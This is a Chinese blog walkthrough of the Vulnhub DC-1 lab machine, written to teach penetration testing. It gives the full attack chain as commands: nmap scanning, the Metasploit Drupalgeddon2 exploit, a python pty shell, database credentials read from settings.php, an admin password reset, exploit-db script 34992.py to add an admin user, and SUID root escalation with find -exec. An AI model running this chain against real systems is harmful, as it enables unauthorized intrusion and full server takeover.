环境:
Vmware 虚拟机软件
dc -1 靶机ip地址:192.168.202.130
kali攻击机ip地址:192.168.202.129
本次渗透过程kali攻击机和dc靶机都采取NAT模式
信息收集
首先用ipconfig查看当前kali机所处网段。
得到当前kali机的ip地址后,用nmap对当前网段进行扫描,主机探活。
nmap超详细使用教程_Kris__zhang的博客-CSDN博客_nmap使用教程
nmap -sP 192.168.202.0/24
上面命令中的/24的解释是:/24 = 255.255.255.0,加个/24是告诉nmap扫描当前网段
扫到了五个ip,排除kali机还有本地的物理机,还剩下3个ip,那么怎么判断哪个是我们要攻击的机子呢?
这时候就得通过nmap的其它指令来探测每个ip主机打开的端口,通过打开的端口服务来判断。
nmap -A -p- -v 192.168.202.130
-A :此选项设置包含了1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测。
-p- :扫描所有端口 1-65535
-v:设置对结果的详细输出,效果和-vv差不多
nmap超详细使用教程_Kris__zhang的博客-CSDN博客_nmap使用教程
nmap使用教程_weixin_30372371的博客-CSDN博客
这里直接扫192.168.202.130,可以自己扫一下其它有嫌疑的ip,就可以根据开启的端口服务排除了。
发现80端口开启,在浏览器访问一下80端口。
那么接下来的思路是怎么样呢?简单试一下没试出sql注入 ,观察一下这个页面,发现是Drupal框架,看一下百度百科的解释 Drupal_百度百科
猜测一下Drupal可能存在框架漏洞,通过上面的扫描我们找到是Drupal 7
其实感觉也可以通过whatweb来查看框架,Whatweb是一个基于Ruby语言的开源网站指纹识别软件,正如它的名字一样,whatweb能够识别各种关于网站的详细信息包括:CMS类型、博客平台、中间件、web框架模块、网站服务器、脚本类型、JavaScript库、IP、cookie等。
简单了解一下msf吧
在渗透过程中,MSF漏洞利用神器是不可或缺的。更何况它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。
打开msf,搜索一下该框架的漏洞
msfconsole
搜索Drupal 7的漏洞
选择一个最近几年,同时品质比较好的,即exploit/unix/webapp/drupal_drupalgeddon2 ,2018年的,rank为excellent
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.202.130
第一条命令是使用这个漏洞,第二条命令是将攻击目标的ip设为192.168.202.130。
接着可以一个show options 来看一下RHOSTS和LHOST(本机ip地址)设置好了没
设置完毕就可以用run命令启动,来获取meterpreter 会话,进而命令执行了
到了这一步得执行一下shell命令,然后利用python来获得一个交互shell。
shell
python -c 'import pty; pty.spawn("/bin/bash")'
或者python3 -c 'import pty; pty.spawn("/bin/bash")'
我们来看一下原因:
虽然说不执行shell命令也可以拿到第一个flag,但后面的flag得连接数据库才能得到。
而连接数据库就要通过交互shell来进行,因为meterpreter 会话感觉只是通过框架漏洞发送数据进行命令执行。而第一次输入shell命令只是利用shell脚本,将存放在shell脚本里面的命令读取并执行,这个过程虽然能得到回显,但是在连接数据库时无法进行交互。
所以还得利用python来产生一个交互shell,才能在后面的操作中与数据库连接,并且与数据库进行交互。
到此,第一个flag就拿到了,下面开始第二个flag。
第二个flag
在拿到第一个flag的时候,提示要找配置文件,我们百度找一下Drupal框架的配置文件在哪。
百度查找Drupal7默认配置发现Drupal 数据库配置连接-->/sites/default/settings.php
直接cd进入当前目录下,然后cat settings.php
cd /var/www/sites/default
ls
cat settings.php
在flag2里面发现了数据库的账号和密码,直接进行连接。
mysql -udbuser -pR0ck3t
然后查库名、表名、列名什么的.......
最后你会发现还是得select * from users;
第三个flag
到此为止已经找到了用于登录的用户账号和密码密文了,但是密码密文不能直接使用,所以要真正得到这个账号有两种办法。
一、更改后台的密码
使用Drupal对数据库的加密方法,加密脚本位置在网站根目录下的scripts下
回到/var/www路径下,运行这个password-hash.sh加密脚本,得到新密码
cd ../
php scripts/password-hash.sh 123
将得到的密文在mysql中利用update语句更改密码,重新进入mysql的时候记得use drupaldb;这个命令来使用drupaldb数据库。
update users set pass='$S$DSONG7gsKJzu9tytwcz4DHmszpx52i.bVcEPv58aKHqduJVNFE5r' where uid=1;
回到靶机80端口开放的页面进行登录,admin,123。
在Dashboard找到第三个flag。
二、利用Drupal框架的sql漏洞再创建一个具有admin权限的用户
先查看Drupal版本,确定Drupal版本为7.24
cat /var/www/includes/bootstrap.inc | grep VERSION
利用searchsploit进行攻击
SearchSploit是一个用于搜索Exploit-DB漏洞数据的命令行工具,它可以允许你离线Exploit数据库,这样你就可以在本地执行离线搜索,这对于有时候不能联网的渗透工作非常的有用。
searchsploit drupal #查找针对Drupal的攻击脚本
利用drupal7.0<7.31版本漏洞增加有admin权限的用户:admin1/admin1
这里输入攻击命令的时候得加上完整路径,这个版本的searchsploit可能没有显示出来。
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.202.130 -u admin1 -p admin1
可以看到完成攻击,登录成功了
重新登录一下mysql查看,发现用户已经添加了
说明一下,msf和searchsploit是两个不同的工具。那为什么在别的博客中,看到在msf中可以执行searchsploit呢?
是因为虽然你进入了msf,但是你可以执行root终端的任何命令,如cat、ls等,所以你在msf执行searchsploit相当于在root终端使用这个工具。
第四个flag
第三个flag提示的关键词是PERMS、FIND、passwd、-exec、shadow,查看一下/etc/passwd
,发现flag4用户
看一下/home/flag4的文件,尝试cat /home/flag4/flag4.txt,拿到flag4,发现提示我们将权限提升到root
根据提示把权限提升至root,尝试进行SUID提权,先来简单了解一下SUID提权。
什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
如果/user/bin/find命令有SUID权限,那么如何利用find命令来进行提权呢?
一个典型的例子是将SUID权限分配给find命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道'find'命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。
find命令是包含用于执行命令的参数的,如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。
Linux find命令:在目录中查找文件(超详解) (biancheng.net)
Linux find 命令 | 菜鸟教程 (runoob.com)
可以看一下大佬们的文章
Linux通过第三方应用提权实战总结 - FreeBuf网络安全行业门户
https://xz.aliyun.com/t/7924#toc-14
最后一个flag
下面就开始我们SUID提权的步骤:
首先找一下有SUID权限的文件
find / -perm -4000
看到find命令有SUID权限,所以这里可以利用find命令进行提权。
用find命令包含的-exec参数进行提权
find /var/www -exec "/bin/sh" \;
这个命令中的/bin/sh是linux内核和用户之间的命令解释器,可以将我们的命令解释并发送给linux内核。
提权后发现我们的权限已经升级为root了,这下可以查看一下root目录的文件,直接拿到最后一个flag。
参考文章
Vulnhub靶机实战——DC-1_冠霖L的博客-CSDN博客_vulnhub靶机实战
Linux通过第三方应用提权实战总结 - FreeBuf网络安全行业门户
https://xz.aliyun.com/t/7924#toc-14
nmap超详细使用教程_Kris__zhang的博客-CSDN博客_nmap使用教程